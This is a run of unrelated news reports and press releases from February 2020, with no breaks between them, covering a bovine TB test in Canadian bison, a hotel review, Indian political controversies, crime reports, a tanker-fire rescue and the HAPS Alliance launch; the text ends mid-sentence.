innovative blood test Actiphage in detecting bovine TB in Canadian wild bison. The potential of wildlife to maintain a reservoir of disease is a much debated topic, but there have been few scientific studies that evaluate the risk and recommend practical strategies for disease management. Now, new research by Canadian scientists will assess Suffolk-based PBD Biotech's Actiphage test in wild bison. Actiphage is a rapid accurate test for detecting even very low levels of mycobacteria - the bacteria that causes TB - from a blood or milk sample. The results are available within hours, enabling early detection and improved disease management. It has been successfully tested in humans and 20 species of animals, but never before in wild bison. Volker Gerdts, of the University of Saskatchewanin in Canada, said detecting TB in livestock and wild animals is an issue worldwide. This trial will provide scientific data that has the potential to improve detection and control of a disease that can be devastating to the agricultural industry, he said. To help protect Canadas cattle and bison and maintain a bovine TB-free status, scientists are conducting trials of several diagnostic tools, including the Actiphage blood test. While a successful Canadian bovine TB control program has been in place since 1924, bison herds in Wood Buffalo National Park, which straddles the Alberta-Northwest Territories border, include TB-infected animals. Parks Canada is a recognised leader in conservation and, under the Species at Risk Act, is responsible for the protection and recovery of listed species found in national parks such as the bison. The facilitation of disease diagnosis could support management of the infected animals, which at the moment has few feasible options, and reduce the prevalence of the disease over time. Mark Hammond, CEO of PBD Biotech, developers of Actiphage, said the study will help to further validate the use of Actiphage. The test uses a bacteriophage that detects viable mycobacteria in the blood before an immune response is fully developed. The Canadian team will experimentally infect bison and test them at various time points using several diagnostic tools This enables early detection of disease in livestock, wildlife or exotic species in zoos creating the opportunity to prevent the unnecessary cull of animals. The Canadian team will experimentally infect bison and test them at various time points using several diagnostic tools. This benchmarking will provide useful insights into the progression of the disease and reliability of the tests in bison. The team also plans to test whether vaccines proven effective in cattle can protect the bison. Scientists will study the immune response to these vaccines and use the diagnostic tools and culture to determine the effectiveness of the vaccines in bison. An important feature of Actiphage is its ability to detect viable mycobacteria in a blood sample. It is able to differentiate between animals that are vaccinated and those that are infected. This creates the potential to vaccinate animals to protect them from the disease. UK and Welsh governments have already issued protocols setting out the conditions under which Actiphage and other currently non-validated test may be used on cattle herds suffering chronic TB breakdowns. This latest study will help demonstrate, pending regulatory approval, that Actiphage may also be used with wildlife, in zoos and on other species to support disease eradication and control. BAKU, Azerbaijan, Feb. 21 By Elchin Mehdiyev - Trend: An appeal of an MP candidate from the 72nd Yardimli-Masalli constituency was considered at a meeting of Azerbaijans Central Election Commission (CEC) held on Feb. 20, Trend reports. The appeal was considered in connection with the parliamentary elections held in Azerbaijan on Feb. 9. The CEC member Ilkin Shahbazov said that the candidate claimed in his appeal that offenses were committed during the vote counting on the election day. In connection with the appeal, an investigation was conducted. However, no violations were found, Shahbazov added. The CEC member proposed to uphold the decision of the District Election Commission not to consider the candidates valid. The proposal of the member was accepted after the vote. San Luis Obispo is not as SLO as it once was. Set just a few miles from the coast with a thriving downtown and burgeoning wine country, the jovial Hotel SLO is the latest reason to book a relaxing Central Coast getaway. Piazza Hospitality, the same group responsible for Healdsburg's chic trio of boutique hotels (Harmon Guest House, H2Hotel, and Hotel Healdsburg), has brought their striking, cutting-edge design and cushy amenities south to another small and lovable wine country town: SLO. Located one block from the Mission San Luis Obispo de Tolosa in SLO's historic Chinatown district, Hotel SLO blends traditional Chinese, coastal, and mid-century modern design styles with vibes that are playful, colorful, and utterly chill. The 78 rooms are all more spacious than is often standard and come with a lounge area, balcony or terrace, and a walk-in shower with a wet room (some also have tubs). Hotel SLO doesn't cut corners, going above and beyond on the amenitieshowever smallto make one's stay memorablethink free snacks, an in-room steamer, the softest robes, fluffiest towels, and the butteriest soap and lotions. The pool at Hotel SLO. (Tanveer Badal) There's really not anything this hotel is missing. It has two restaurants, a spa, pool and hot tub, fitness center, and ample, indoor/outdoor gathering space throughout the lobby area, including a large bar and fireplace. Complimentary cruiser bikes can be used to explore downtown. In many ways, Hotel SLO doubles as a contemporary art gallery. The hotel commissioned artists from the Bay Area and Los Angeles to design one-of-a-kind pieces and signature accents. Every room features pop-art pieces of local landmarks, and the wooden knots and squiggles that hang over each bed might even be familiar to SF and Oakland maker fiends who frequent West Coast Craftthese mini sculptures are made by local artist Katie Gong, who steams the wood and then manipulates and ties it into unique shapes. On the second floor, there's a mesmerizing mural made of driftwood, and even the stairwell has a murala creative way to promote a little extra exercise on one's vacation. Sustainability is an obvious focus here, too. You won't find single-use plastics anywhere and rooms come with glass carafes that are refillable at water stations throughout the hotel, offering up your choice of cold, room-temp, or sparkling water. Hallway lights are motion-activated and guests have the option to save water by re-using their sheets, towels, and robes throughout their stay. Ox + Anchor, one of Hotel SLO's two restaurants. Courtesy of Hotel SLO Formerly of The French Laundry and Per Se, and most recently Healdsburg's Barndiva, chef Ryan Fancher relocated to the Central Coast to run the kitchen at Hotel SLO's two onsite restaurants. Serving breakfast, l unch, dinner, and Sunday brunch, the dishes at Piadina are simple, yet inventive, offering a California twist on Italian cuisine. Take for instance the smoked salmon and caviar pizza, artichoke lasagna, and cauliflower soup with a swirl of port wine. Ox + Anchor is a higher-end steakhouse but isn't what you might expect. A steakhouse for the modern-day, the interior is intimate and inviting, not dark and fussy. Their selection of signature steaks, from a filet mignon to ribeye to a porterhouse, can all be enhanced with toppings of bacon and blue cheese, a lobster tail, or crab, asparagus, and bernaise sauce (Oscar Style). As for sides, you can't miss the bone marrow tater tots or the Yukon gold potato puree (some of the creamiest mashed potatoes you'll ever have), and whether you have room for more or not, order the s'mores-inspired Campfire Baked Alaska for dessert. No spoilers, but it's worth it for the presentation alone. This spring, the hotel will also open up a rooftop bar with drinks, bites, bocce, and killer views of downtown SLO and the surrounding mountains. Like the restaurants, the rooftop will be open to the public. Sol Spa at Hotel SLO. (Tanveer Badal) Sol Spa takes conventional spa treatments up a notch. The hot stone massage, for instance, utilizes Himalayan salt stones; the deep-tissue massage uses a rolling pin-shaped Rad Roller (in addition to the therapist's hands) to get really, really deep. The spa also rolls out seasonal, daily remedies with a featured massage, facial, or scrub that changes each day. Make your own salt scrub at the DIY scrub bar, offering both Eastern and Western scrubs that you can take home, and don't leave without spending some time in the salt sauna. Inside is a stunning, mineral-rich, Himalayan salt masterpiece that pulls toxins out of the air and body. The locker rooms even have a meditation room with zero gravity chairs, the perfect spot for a post-massage snooze. Courtesy of Hotel SLO Each room at Hotel SLO has a lounge area and balcony or terrace. Longford County Council has secured 482,806 to commence the process of developing the Mid Shannon Wilderness Park which will eventually encompass the cut away bogs in the Mount Dillon complex in county Longford and county Roscommon. The 482,806 will be used for the development of Corlea and Ederra bog walks, which will provide over 8km of trail as part of the Mid Shannon Wilderness Park. Also read: Three men arrested in Longford in relation to shooting and stabbing incident outside Galway church The details of the funding, approved by the Minister for Rural and Community Development, Michael Ring TD, were published today (Friday, February 21) by the Department of Rural and Community Development under the Outdoor Recreation Infrastructure Scheme in collaboration with Failte Ireland, the National Tourism Development Authority. The scheme provides funding for the development and maintenance of outdoor amenities such as trails, walkways, cycleways and blueways. A total of 8.4 million has been allocated to 44 projects. Also read: Mammy, the house is on fire and we cant get out: Longford family's terror as house is set alight The investment is a collaborative initiative between the Department of Rural and Community Development and Failte Ireland, with the Department providing 4.4 million of the total, complemented by 4 million from Failte Ireland. Local TD Denis Naughten, convener of 'The Regional Group' of nine Independent TDs in the 33rd Dail, has welcomed the allocations for local projects. "The Mid Shannon Wilderness Park is a project that I promoted as a member of the last Government and this is the first significant investment in developing recreational amenities on our bogs which will compliment the 30m allocated by Bord na Mona for bog rehabilitation across the region." St John's Amenity Group have secured 200,000 along with a further investment of 50,000 from Roscommon County Council for the Rindoon Medieval Village & St John's Wood Water and Land Experience. In Kilteevan the Cloonlarge Looped Walk/Cycleway has secured 200,000 to enhance the existing development. These projects are all part of a bigger jigsaw of developing a range of tourism activities throughout the Hidden Heartlands region to encourage tourists to visit and stay in our local towns and villages, concluded Deputy Naughten. WATCH | Longford's new TD Joe Flaherty settling into his new role as 33rd Dail sits today MEDFORD, Ore. After several recent major drug trafficking busts, investigators in Jackson County say they are on pace for a record year. Over the past week, Medford Area Drug and Gang Enforcement (MADGE) has made at least three arrests and seized about 30 pounds of methamphetamine. Before those most recent busts, MADGE began investigating two men from San Diego, California who were suspected of trafficking meth into southern Oregon. On February 6, Medford Police said, the MADGE team learned that the two suspects were heading back into the area. Investigators saw the suspects in a 2020 Toyota Sienna on I-5 and pulled them over. After getting a search warrant, the investigative team found 5.6 pounds of meth inside the vehicle. Both 37-year-old Martin Jesus Velasco and 25-year-old Jhony Afredo Martines were arrested for delivery and possession of meth, and remain in custody on $500,000 bail. With those last few busts, MADGE has seized more than 68 pounds of meth so far this year. Medford Police said that the unit only seized 68 pounds of the drug during the entirety of last year. "MADGE would like to thank the Drug Enforcement Administration (DEA), Rogue Area Drug Enforcement (RADE) and Oregon State Police for their assistance in this long term investigation," Medford Police said. Mumbai: A huge political storm has erupted over former All Indian Majlis-e-Ittehadul Muslimeen (AIMIM) legislator Waris Pathans comment at an anti-CAA protest in Kalburgi on February 15. He reportedly had said that 15 crore (Muslims) will prove stronger than the 100-crore majority. The BJP on Friday held a protest in the Byculla Assembly constituency, which Pathan represented, while Maharashtra Navnirman Sena (MNS) leader Bala Nandgaonkar has issued an open threat to him. However, the AIMIM leader claimed that he was quoted out of context. The BJP protest march from Byculla railway station to the local police station was led by the partys south Mumbai chief Sharad Chintankar and Colaba MLA Rahul Narvekar. Chintankar said the party submitted a memorandum to the police demanding registration of an FIR against Pathan. The BJP also protested in Gulmandi area in Aurangabad and burnt an effigy of Pathan. Meanwhile, a party leader in Aurangabad on Friday said that the AIMIM would seek explanation from Pathan over his alleged controversial remark. AIMIMs Maharashtra unit chief and Aurangabad MP Imtiyaz Jaleel said, Our party does not support the statement made by Waris Pathan. The party will seek an explanation from him over the remarks. The Raj Thackeray-led Maharashtra Navnirman Sena (MNS) also held protests in Aurangabad against Pathan, seeking stern action against him. The MNS took out a symbolic funeral procession of Pathan and raised slogans against the AIMIM. The language of Waris Pathan was disgusting. He should be banned from giving public speeches in the state and also be arrested, MNS leader Prakash Mahajan said. Former Maharashtra chief minister and senior BJP leader Devendra Fadnavis on Friday demanded an apology from Pathan. He condemned AIMIM leaders remarks and asked the latter not to mistake the majority communitys tolerance for weakness. We condemn the statement made by Waris Pathan and demand an apology, he said. A New Milford man who shook his 4-month-old child unconscious last year was sentenced to five years in state prison on Friday. Travis Weber, 29, was taking care of his child in February 2019 when he shook the infant. The babys mother found the infant unconscious when she came home and the child was rushed to the Valley Hospital in Ridgewood after a 911 call. After the baby was examined, it was determined the child had head trauma injuries. Weber was arrested Feb. 14, 2019. He pleaded guilty to second-degree child endangerment. Webers attorney told Superior Court Judge Carol Novey Catuogno on Friday that a difficult life led Weber to drug and alcohol use, which contributed to his actions. The prosecutor acknowledged Webers history of substance abuse, telling the judge that Weber had been remorseful and that the child was doing well. Rodrigo Torrejon may be reached at rtorrejon@njadvancemedia.com. Follow him on Twitter @rodrigotorrejon. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. HIGHWAY INFERNO: A tanker truck carrying jet fuel exploded after overturning on an interstate ramp in Indianapolis. Police say good Samaritans helped rescue the driver, who has been taken to the hospital. https://t.co/IvSi4K2UcN pic.twitter.com/IE9ivkcf6F ABC News (@ABC) February 21, 2020 To say that Holly McNally had a crazy week might be an understatement. On Monday, the Indianapolis woman, 35, gave birth to her fourth child. She was released from the hospital, but the baby had to remain in a neonatal intensive care unit until his expected discharge Monday. Then Thursday afternoon, McNally was on her way home from visiting the newborn when she and her mother spotted smoke billowing from a ramp off Interstate 70, east of the city. After taking a closer look, McNally could see it was an overturned tanker truck that had exploded. "I get out to scan the area and I see a man coming out of the smoke and he was on fire," she recalled for CNN. "I said, 'Mom, I'm going in,' and she said, 'Don't go.' That's when I just took off." What followed was a dramatic rescue with McNally teaming up with a fellow Good Samaritan to save the driver of the semi. She says she and her fellow rescuer covered the injured driver with a blanket to extinguish the flames on his body. As the three staggered away from the inferno, they felt a second explosion, which was captured on camera by passing drivers. "We could feel the backdraft of the fire hit us and push us," described McNally, who said the driver told her he was hauling jet fuel. "I told myself, God if something happens to me, please just remember that I was trying to help somebody. Please let me go to heaven." Paramedics and Indiana State Police arrived to assist and rushed the driver to a hospital where he was listed in critical condition Friday morning. The Indianapolis Fire Department said the truck, carrying 4,000 gallons of jet fuel, hit a guardrail and overturned before catching fire. A maternal instinct A day after the rescue, McNally said she's no hero. "I'm just a stay-at-home mommy." According to McNally, it was simply her maternal instinct kicking in when she saw the driver in trouble. "I brought another life into this world that I could see grow, flourish, and be happy and live -- and that's somebody's baby," she said. "He may be my age, but there's another mom out there and another family with people that love him like I love my kids. And if that were my son, I would want somebody to do the same if they could." McNally is looking forward to telling her baby, Connor, about the rescue someday. For now, it has left a big impression on her three older children, ages 8, 11 and 15. She recalled her oldest telling her she was in "beast mode" during the rescue. "My son is big," McNally said. "He's 6 foot tall and I'm 5'5" so for him to say that everybody thinks I'm a badass, that just makes me smile." Giriraj Singh, a member of the Union Cabinet, in his latest communal speech, said that all Muslims should have been sent to Pakistan during the partition in 1947. Speaking in Bihar's Purnia on Wednesday, the BJP MP called it a "big lapse" by the ancestors, for which "we're paying the price for." Calling for people to "commit" themselves to the nation, Giriraj Singh said, Before 1947, (Muhammad Ali) Jinnah called for an Islamic nation. It was a big lapse by our ancestors that we're paying the price for. If at that time Muslim brothers had been sent there and Hindus brought here, we wouldn't be in this situation. If Bharatvanshiyas don't get shelter here where will they go?" The statement by a Union Minister comes at a time with the ruling BJP is facing flak over the contentious citizenship law, proposed NRC and NPR, that critics have viewed as 'polarising' towards the Muslim community in the country. READ| Giriraj Singh remains communal but changes tact; argues 'Muslim kids are better than ours' Giriraj Singh's hate speech Not alien to communal speeches, Giriraj Singh was reportedly summoned by BJP chief JP Nadda after he called an Islamic seminary in Uttar Pradesh's Deoband a "fountainhead of terrorism" last week. In his address, Giriraj Singh further said that terrorists like "Hafiz Saeed are the product of Deoband." The BJP leader, in addition, commenting on the population of Muslims in the country said, "Their population has reached 20 crores. Resources available are only 2%. That's why the strictest population control law should be implemented. Those who refuse to accept it, be it from any religion, their voting rights should be taken away." Earlier on February 6, prior to the Delhi Assembly poll result, Giriraj Singh in a communal statement alleged that the protest site, Shaheen Bagh is conspiring against the nation and "suicide bombers" are being trained there. However, he deleted the tweet later but maintained: "This is a Khilafat movement going on, Sharjeel Imam is saying that let's break the country, PFI pamphlets are saying so. A child dies, and his mother says he is a martyr, what is this if not suicide bombing?" The Begusarai MP was booked, during the Lok Sabha 2019 poll campaign on April 26, 2019, for violating the Model Code of Conduct by commenting against Muslims. "My ancestors died at the Simaria ghat and no grave was built for them but you (Muslims) need three hand-spans of space," he added. In a similar instance, back on April 25, 2014, the BJP leader was granted anticipatory bail for his alleged hate speech during the election campaign. Patna District and Sessions Judge Birendra Kumar granted bail to Singh in the context of an FIR lodged at Patna airport police station on April 21 under provisions of the Representation of Peoples Act, 1950 and Indian Penal Code(IPC). The former Minister in Bihar CM Nitish Kumar's Cabinet had said on April 19, 2014, that those who oppose PM Modi should go to Pakistan. Three FIRs had been lodged against him at Deogarh, Bokaro, and Patna for his hate speeches. READ| Giriraj Singh urges people to vote for BJP to 'save Delhi from becoming an Islamic State' READ| Giriraj Singh targets Delhi CM Kejriwal; says "he came with Anna, now chanting Jinnah" A man was arrested outside Princess Anne's London residence whilst in possession of a crossbow, 14 bolts and a large knife. Andrew Marshall, 44, from Nottingham, was searched by police as he walked through The Mall area around St James's Palace on the night of July 20 last year. Officers used a set of keys found in his possession to access a vehicle in the car park of the palace. It was there that they found a crossbow, 14 bolts and a large knife as well as a pair of latex gloves, according to The Sun. Andrew Marshall, 44, from Nottingham, was searched by police as he walked through The Mall area around St James's Palace (pictured) at night The 44-year-old was arrested and charged with one count of possession of an offensive weapon and another of possession of a bladed article. Marshall is yet to enter a plea and was yesterday bailed by Westminster magistrates to appear at Southwark Crown Court on March 19, on the condition that he will remain in hospital until that date. Last night, a spokesman for the Metropolitan Police told MailOnline he was not aware whether a man had been charged with possessing offensive weapons outside a royal palace or not, and could not find out 'at this time of night'. Since then, the Met have clarified that Andrew Marshall, 44, of Nottingham was charged via postal requisition on 2 October 2019 with possession of an offensive weapon and possession of a pointed article. GRCs 30-Year Intermodal Business Will Expand TLSS Logistical Capabilities WEST PALM BEACH, FL, Feb. 21, 2020 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- Transportation and Logistics Systems, Inc., f/k/a PetroTerra Corp, (OTC: TLSS), (TLSS", or the Company"), a leading eCommerce fulfillment service provider, announced today that it has entered into an asset purchase agreement to acquire all of the assets of GRC Trucking, Inc. (GRC), a Kearney, New Jersey based full-service logistics provider specializing in the import/export ocean and rail intermodal and drayage shipping. John Mercadante, President of TLSS, stated, We are very excited about the prospect of joining forces with the GRC team, a company with a successful 30-year track record in the industry. GRC is expected to add another exciting dimension to our growing business, providing revenue enhancement, diversification and multiple opportunities for growth. Geographic proximity to our PrimeEFS and ShypDirect hub in New Jersey was another important strategic consideration since both parties anticipate that we will be able to generate significant improvements in operating margins through improved asset utilization, reductions in fuel and facility costs as well as the elimination of other duplicative expenses. Mr. Christopher Nappi, President of GRC, added, We were very impressed with TLSS growth strategy and see this as a highly synergistic business combination. For example, we currently contract out the pickup and return of containers from and to the port, as well as the delivery of their contents, which are services that TLSS currently provides as well, so the leveraging and cross-marketing potential of our joint capabilities were key factors in our decision to pursue this transaction. The transaction is expected to close on or about March 31, 2020 subject to the completion of satisfactory due diligence by TLSS. The purchase price will be paid through the issuance of TLSS common stock. About Transportation and Logistics Systems, Inc. TLSS operates as a leading logistics and transportation company specializing in eCommerce fulfillment, Last Mile, two-person Home Delivery and Line Haul services for the worlds leading online retailers through its wholly-owned operating subsidiaries, PrimeEFS, LLC and ShypDirect, LLC. For more information about the Company and its subsidiaries, visit the Companys website, www.tlssinc.com, or view the public filings at SEC.gov. Forward Looking Statements Statements in this press release regarding the Company that are not historical facts are forward-looking statements and are subject to risks and uncertainties that could cause actual future events or results to differ materially from such statements. Any such forward-looking statements, including, but not limited to, financial guidance, are made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995. Forward-looking statements include all statements that do not directly or exclusively relate to historical facts. In some cases, you can identify forward-looking statements by terms such as may, will, should, could, would, expects, plans, anticipates, believes, estimates, projects, forecasts, predicts, potential, or the negative of those terms, and similar expressions and comparable terminology. These include, but are not limited to, statements relating to future events or our future financial and operating results, plans, objectives, expectations and intentions. Although we believe that the expectations reflected in these forward-looking statements are reasonable, these expectations may not be achieved. Forward-looking statements represent our intentions, plans, expectations, assumptions and beliefs about future events and are subject to known and unknown risks, uncertainties and other factors outside of our control that could cause our actual results, performance or achievement to differ materially from those expressed or implied by these forward-looking statements. In addition to the risks described above, these risks and uncertainties include: our ability to successfully execute our business strategies, including integration of acquisitions and the future acquisition of other businesses to grow our company; customers cancellation on short notice of master service agreements from which we derive a significant portion of our revenue or our failure to renew such master service agreements on favorable terms or at all; our ability to attract and retain key personnel and skilled labor to meet the requirements of our labor-intensive business or labor difficulties which could have an effect on our ability to bid for and successfully complete contracts; our failure to compete effectively in our highly competitive industry could reduce the number of new contracts awarded to us or adversely affect our market share and harm our financial performance; our ability to adopt and master new technologies and adjust certain fixed costs and expenses to adapt to our industrys and customers evolving demands; our history of losses, deficiency in working capital and a stockholders deficit and our ability to achieve sustained profitability; material weaknesses in our internal control over financial reporting and our ability to maintain effective controls over financial reporting in the future; our substantial indebtedness could adversely affect our business, financial condition and results of operations and our ability to meet our payment obligations; the impact of new or changed laws, regulations or other industry standards that could adversely affect our ability to conduct our business; and changes in general market, economic and political conditions in the United States and global economies or financial markets, including those resulting from natural or man-made disasters. These forward-looking statements represent our estimates and assumptions only as of the date of this release and, except as required by law, we undertake no obligation to update or revise publicly any forward-looking statements, whether as a result of new information, future events or otherwise after the date of this release. Given these uncertainties, you should not place undue reliance on these forward-looking statements and should consider various factors, including the risks described, among other places, in our most recent Annual Report on Form 10-K and in our Quarterly Reports on Form 10-Q, as well as any amendments thereto, filed with the SEC. CONTACT: Transportation and Logistics Systems, Inc. Investor Relations 561-672-7068 PCG Advisory Inc. Jeff Ramson 646-863-6893 jramson@pcgadvisory.com CONWAY, Ark. (February 21, 2020) Hendrix College Chaplain Rev. Judith J. Whitney has been appointed Senior Pastor of First United Methodist Church in Bentonville. The appointment was made by Bishop Gary E. Mueller, Episcopal Leader of the United Methodist Church for the Arkansas Conference of the United Methodist Church and will begin July 1, 2020. Rev. Whitney is a Bentonville native and attended First United Methodist Church, where her father, Rev. Guy Whitney, was senior pastor. Im deeply grateful for the opportunity to serve as the pastor of FUMC, Bentonville which was such a formative church for my own call to ministry and an important moment in my fathers career, Whitney said. I am excited to reconnect with the church family and lead the church as they engage a thriving downtown community in Bentonville. Whitney is a 1996 graduate of Hendrix and completed her masters degree, with a concentration in pastoral care in campus ministry, from Boston Universitys School of Theology. She served as chaplain associate for Boston Universitys Marsh Chapel and later as pastor of Hunter United Methodist Church in Little Rock. She returned to her alma mater in 2002 to serve as Program Coordinator for the Hendrix-Lilly Vocations Initiative (now known as the Miller Center for Vocation, Ethics and Calling). She was responsible for creating and implementing co-curricular programs, mentoring a ministry exploration group, coordinating seminary visits, leading international and domestic mission trips, overseeing scholars in service work, planning and implementing vocation conferences and visiting scholars, and creating and leading a week-long ministry discernment opportunity for United Methodist youth. She was named Associate Director of the Miller Center in 2009. In 2005, Whitney was named Assistant Chaplain and was responsible for assisting the chaplain with preaching and worship planning, leading a Womens Bible Study, creating and implementing a weekly Christian Fellowship group, pastoral care, and mentoring candidates for ordained ministry. She was awarded the 2005 Francis Asbury Award for Fostering United Methodist Ministries in Higher Education from the General Board of Higher Education and Ministry of the United Methodist Church. In 2013, she was named Associate Chaplain and, in 2015, following a national search, Rev. Whitney was recommended for the Hendrix Chaplains role by a committee of alumni, clergy, faculty, staff and students, after serving as interim chaplain. Rev. Whitney is a vital part of a strong tradition of visionary clergy who have served our community as Chaplain, said Hendrix President W. Ellis Arnold III 79. For more than a decade, she has strengthened and nurtured our historic relationship with the United Methodist Church through her leadership and service to the campus community and beyond. About Hendrix College Hendrix College is a private liberal arts college in Conway, Arkansas. Founded in 1876 and affiliated with the United Methodist Church since 1884, Hendrix is featured in Colleges That Change Lives: 40 Schools That Will Change the Way You Think about Colleges and is nationally recognized in numerous college guides, lists, and rankings for academic quality, community, innovation, and value. For more information, visit www.hendrix.edu. [February 21, 2020] Telecom, Technology, and Aviation Industry Leaders Join Forces to Create the HAPS Alliance A group of global industry leaders today announced that they are forming the HAPS Alliance, an association of world-leading telecommunications, technology, aviation, and aerospace companies that are united in promoting the use of high altitude vehicles in the Earth's stratosphere to eliminate the digital divide and bring connectivity to more people, places, and things worldwide. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200221005192/en/ (Graphic: Business Wire) Members who have committed to join the HAPS Alliance include SoftBank Corp.'s HAPSMobile Inc. ("HAPSMobile"), Alphabet's Loon LLC ("Loon"), AeroVironment, Inc. ("AeroVironment"), Airbus Defence and Space, Bharti Airtel (News - Alert) Limited ("Bharti Airtel"), China Telecom Corporation Limited ("China Telecom"), Deutsche Telekom AG ("Deutsche Telekom"), Telefonaktiebolaget LM Ericsson ("Ericsson"), Intelsat US LLC ("Intelsat"), Nokia (News - Alert) Corporation, SoftBank Corp., and Telefonica S.A. ("Telefonica"). The HAPS Alliance is being created so member companies can collectively advocate for High Altitude Platform Station (HAPS) business development with the relevant authorities in various countries, build a cooperative HAPS ecosystem, develop common product specifications and promote the standardization of HAPS network interoperability. All of these activities will be key to the Alliance's aim of addressing diverse social issues and creating new value by providing telecommunications network connectivity worldwide through the utilization of high altitude vehicles. The Alliance, originally an initiative from HAPSMobile and Loon, will have members from participating leading companies across the aerospace, technology and telecom industries to carry out the Alliance's activities. The launch of the HAPS Alliance follows a previous April 2019 announcement between HAPSMobile and Loon where the companies formed a strategic alliance to advance the use of high altitude vehicles. High altitude network connectivity platforms operate in the stratosphere, which is above ground infrastructure, but below satellites, allowing for near ubiquitous coverage that avoids ground clutter and significant latency issues. These advantages make such vehicles a promising solution for expanding mobile coverage to areas where connectivity is lacking-such as mountainous terrain, remote islands, marine regions and developing countries-as well as for IoT and 5G use-cases. The HAPS Alliance seeks to create an ecosystem to support next-generation global connectivity needed to revolutionize the world's mobile networks. Junichi Miyakawa, Representative Director & CTO of SoftBank Corp., and also President & CEO of HAPSMobile said, "We are very encouraged that many leaders from across the communications and aerospace industries are joining us in our mission to bridge the digital divide with high altitude vehicles. Together with our Alliance partners, we will lay the groundwork for an ecosystem that fosters HAPS connectivity solutions around the world." Loon's CEO Alastair Westgarth said, "The stratosphere represents an enormous opportunity to bring the benefits of connecivity to more people around the world. But we will only be successful in harnessing the potential of the stratosphere if we come together to advocate for and collaborate on the technologies that will make this possible. This HAPS Alliance is an important step forward in building an established industry that will help us realize the promise of the stratosphere to connect people everywhere." AeroVironment President and CEO Wahid Nawabi said, "Harnessing the stratosphere as a global resource to improve the human condition is a goal AeroVironment has pursued for decades, and one that spans borders and languages. We enthusiastically join our global partners in the HAPS Alliance to develop an ecosystem around our innovative solar HAPS unmanned aircraft system and make the promise of global connectivity a reality." Dirk Hoke, Airbus Defence and Space CEO, said, "HAPS systems fill a capability gap between satellites and UAVs, being complementary to each other as part of a constantly growing market. Working across industry to create a HAPS ecosystem is the next logical step in the evolution of the HAPS market. Having an aircraft which is flight proven is just the first step, having an ecosystem in which it can operate with common standards will bring us even closer to delivering HAPS services from the stratosphere to unlock potential around the world." Gopal Vittal, MD & CEO (India and South Asia), Bharti Airtel, said, "We are excited to be a part of this visionary alliance. We look forward to collaborating with member companies towards building a viable ecosystem that helps in bringing digital connectivity to everyone, everywhere." Chen Yunqing, VP of Research Institute at China Telecom, said, "For China Telecom, the primary purpose of HAPS applications is to provide broadband services in remote areas that lack terrestrial telecommunication infrastructure. HAPS can also provide emergency communications services to the public when other types of communication infrastructure are not functioning. So we are pleased to join the HAPS Alliance to promote greater connectivity and better emergency preparedness by using HAPS technologies." Claudia Nemat, Board Member for Technology & Innovation at Deutsche Telekom (News - Alert), said, "High altitude network connectivity platforms are an innovative alternative solution to expand network coverage and bridge coverage gaps in underserved areas. Deutsche Telekom is honored to collaborate with global partners in the HAPS Alliance, bringing our connectivity service delivery expertise to the team to realize the vision of ubiquitous coverage." Erik Ekudden, Senior Vice President and Group CTO at Ericsson (News - Alert), said, "Ericsson drives innovation, technology, and sustainable business solutions for an all-connected world. With 5G we extend the mobile innovation platform from consumers to industries and enterprises. The HAPS Alliance brings together industry leaders from the communication and aerospace industries to provide cutting edge technology pushing the boundaries on coverage to reach users anywhere." Stephen Spengler, Intelsat CEO, commented, "Intelsat is excited to be an integral part of the HAPS Alliance, and we look forward to the cross-industry cooperation that will foster adoption of this innovative technology. As the foundational architects of satellite technology, Intelsat sees HAPS and the stratosphere as a complimentary step towards furthering our mission to connect people and devices with hybrid networks even in the most challenging locations. The key to our collective success will be a coordinated public and private advocacy for standards, interoperability and regulations." Kathrin Buvac, President of Nokia Enterprise, said, "At Nokia, we create the technology to connect the world. Nowhere is that mission more evident than our participation in the HAPS Alliance and strong partnership with Loon and SoftBank's HAPSMobile. We will bring our unique combination of skills, expertise and technology to help overcome the demands associated with high-altitude network infrastructure and contribute to the Alliance's goal of connecting the unconnected. Nokia believes that with enhanced LTE (News - Alert) wireless networking now, and 5G connectivity next, we can help deliver major economic and societal benefits to underserved communities, particularly in remote and challenging environments." David del Val, Telefonica R&D CEO, said, "In Telefonica, we've been working on solving the digital divide for years realizing that terrestrial solutions were not enough. We are proud to have partnered with HAPS pioneers like Loon since the early days, trying to reach the most remote areas of our Latin American footprint. We want to contribute our experience to the HAPS Alliance to help other operators in the world realize their full potential. We are convinced that the HAPS Alliance will help the ecosystem move faster and reach industrial scale." About the HAPS Alliance Purpose: Address diverse social issues and create new value by providing telecommunications network connectivity worldwide through the utilization of high altitude vehicles. Accelerate the development and commercial adoption of HAPS technology by promoting and building industry-wide standards, interoperability guidelines and regulatory policies in both the telecommunication and aviation industries. Liaise with industry organizations including standards and regulatory authorities to complement the work of other industry organizations. Create a forum for cross-industry collaboration to coalesce the voices of HAPS industry leaders into a compelling message to the broader industry, regulators and the general public. Activities: Advocate for global harmonization of HAPS spectrum, including the adoption, improvement and acceleration of global spectrum standardization for High Altitude IMT Base Stations within the International Telecommunications Union (ITU). The Alliance will also work to influence emerging commercial standards, including 3GPP Non-Terrestrial Networks. Promote industry-managed cooperative separation in the upper airspace. Demonstrate the industry's viability to potential customers and build a robust and cooperative HAPS ecosystem. Develop product specifications and promote the standardization of interoperable HAPS network elements. Website: www.hapsalliance.org View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005192/en/ [ Back To TMCnet.com's Homepage ] [Watch a Times investigation of abuse at state-run group homes on The Weekly, on FX and Hulu.] When the abuse began, Migdalia could not call for help. She was 57 but with the mind of a child. She had never spoken and could not form words. She lived in a Bronx group home with two dozen other adults who also were mostly nonverbal and helpless. Bruises started appearing on her arms and legs. What looked like a shoe print on her belly. A state investigation later concluded that she and other residents had been beaten by some of the homes employees, the people who had been entrusted with her care. In Migdalias case, the abuse represented an especially deep betrayal. Migdalia and thousands like her had grown up in the Willowbrook State School, a notorious institution on Staten Island. For decades, the state used the facility as a warehouse for children and adults with developmental disabilities. They were left unattended, naked or in rags. Some were strapped in beds or chairs; others were left to rock endlessly on filthy, locked wards. Political strategist Prashant Kishor can join the Aam Aadmi Party if he wants, senior party leader Sanjay Singh said on Friday. Delhi chief minister Arvind Kejriwal had signed up with poll strategist Prashant Kishors I-PAC in the run-up to assembly poll, which he won comfortably and became the chief minister for the third time. If Prashant Kishor ji wants to join us, we have no objection. Now it is his decision whether to come or not, Sanjay Singh told a news conference in Mumbai. Prashant Kishor was sacked from the 